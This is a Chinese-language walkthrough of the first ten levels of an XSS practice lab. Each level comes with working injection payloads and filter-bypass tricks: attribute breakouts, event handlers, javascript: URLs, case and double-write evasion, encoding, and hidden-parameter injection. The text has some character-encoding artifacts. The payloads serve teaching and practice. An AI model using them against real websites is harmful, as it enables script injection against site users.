第一關(guān):

沒過濾,直接構(gòu)造payload:
http://test.ctf8.com/level1.php?name= <script> alert(1) </script>test然后顯示我們成功了,點擊確定進入下一關(guān)

第二關(guān):
這次有一個輸入框,嘗試輸入aaa,可以發(fā)現(xiàn)URL變成:
http://test.ctf8.com/level2.php?keyword=aaa&submit=搜索
然后我們嘗試直接在輸入框輸入JS代碼或者在URL里添加,但發(fā)現(xiàn)注入失敗,被輸出來了


"><script>alert(1)</script> 成功!ps:這時頁面代碼變成了:
<input name="keyword" value=""><script>alert(1)</script>"或者用on事件
" onclick=alert(1)> 需要點擊一下輸入框" onmouseover=alert(1)>又或者:
"><img src=1 onerror="alert(1)""><a href="javascript:alert(1)">123</a>都是可以的第三關(guān):
嘗試用上一關(guān)的方法,但是失敗了-_-
查看源碼發(fā)現(xiàn)尖括號被解析了

用單引號閉合即可,然后用on事件,參考payload:
' onclick=alert(1)%0a (%0a用做換行使的input標簽語法正確,主要是因為過濾了“>”)onclick 事件直接包含在<>內(nèi),可直接被執(zhí)行,觀察源代碼為單引號,把value給閉合掉或者
'onclick='javascript:alert(1)'這兩個都是要再點擊一下輸入框觀察php源碼則會發(fā)現(xiàn)htmlspecialchars()函數(shù),

這個函數(shù)會將<>等一些字符進行實體化,但是單引號不會,所以還可以利用onmouseover事件
payload:
' onmouseover='alert(1)'
補充:
偽協(xié)議是一種不標準的協(xié)議,把javascript:后的語句當(dāng)作js來執(zhí)行,結(jié)果值返回當(dāng)前頁面,javascript:url的形式
on() 方法在被選元素及子元素上添加一個或多個事件處理程序,例:
onclick 事件會在元素被點擊時發(fā)生
onmouseover 屬性在鼠標指針移動到元素上時(滑過)觸發(fā)
第四關(guān):
和第三關(guān)無差,只是閉合方式變成了雙引號
"onclick='javascript:alert(1)'觀察PHP源碼,多了一個str_replace()函數(shù),

簡單介紹一下,語法格式str_replace(find,replace,string),例:
<?phpecho str_replace("world","Peter","Hello world!");?>
是把字符串 "Hello world!" 中的字符 "world" 替換成 "Peter",
本題是將<>替換為空,這里可以利用oninput事件和onchange事件
payload:
"onchange=alert(1)//" oninput=alert(1) //此時頁面代碼為:value=" " onchange=" alert(1)//" "
value=" oninput=alert(1) //">
第五關(guān):
先用上一關(guān)的方法試試,失敗了

"><script>alert(1)</script>結(jié)果是失敗的o_o,只好再看一下源碼
"><a href=javascript:alert(1)>

第六關(guān):

這里我么們直接使用上題的注入方式,然后發(fā)現(xiàn)都是失敗的,查看源碼如下:
<input name=keyword value=" "><a hr_ef="javascript:alert(1)">">
<input name=keyword value=" "o_nclick='javascript:alert(1)' ">
<input name=keyword value=" "<scr_ipt> alert(1)</script>">
發(fā)現(xiàn)這里的href、 script、 onclick 都被過濾了,可以嘗試下大小寫繞過吖
參考payload:"Onclick='javascript:alert(1)'
成功!
第七關(guān):
試試輸入上個一關(guān)的語句,結(jié)果如下:
<input name="keyword" value=""><>alert(1)</>">
<input name="keyword" value=""click='java:alert(1)'">
<input name="keyword" value><a =java:alert(1)>"">"
看來是on,script,href被完全過濾了,
一時無解,不知道還有什么語句,就看了下別人的博客,o_o原來是雙寫繞過吖
所以參考payload:
"><sscriptcript>alert(1)</sscriptcript>
"><a hhrefref=javasscriptcript:alert(1)>(點擊鏈接)
"oonnclick='javasscriptcript:alert(1)'(二次點擊輸入框)
還有就不列舉了·······
第八關(guān):

這道題過濾javascript關(guān)鍵字,會把javascript變成javasc_ript??梢酝ㄟ^tab制表符繞過(%09),參考payload:
javasc%09ript:alert(1)javascript:alert(/xss/) #HTML實體編碼(對哪一個字符編碼都可如:javascript:alert(1)),然后還需要需要點擊一下頁面內(nèi)的鏈接第九關(guān):
觀察源碼,這次和第8關(guān)比只是多了一個對添加鏈接的判斷,就是http://
所以只需要在我們的payload當(dāng)中添加一個http即可,同時使用注釋包裹起來,讓他不生效就好:
payload:javascript:alert(1)/http://www.baidu.com/
第十關(guān):
這一關(guān)居然沒有輸入框

只能在URL上動手腳了--,但是什么也不知道,不能盲注吧,so查看一下源碼:

哇哦,不得了

答案出來了,只有t_sort參數(shù)處有回應(yīng),所以這里t_sort 就是注入點,構(gòu)造命令(ps:代碼中有隱藏的參數(shù)設(shè)置,把hidden改為text)
payload:
&t_sort=" type="text" onclick="alert()
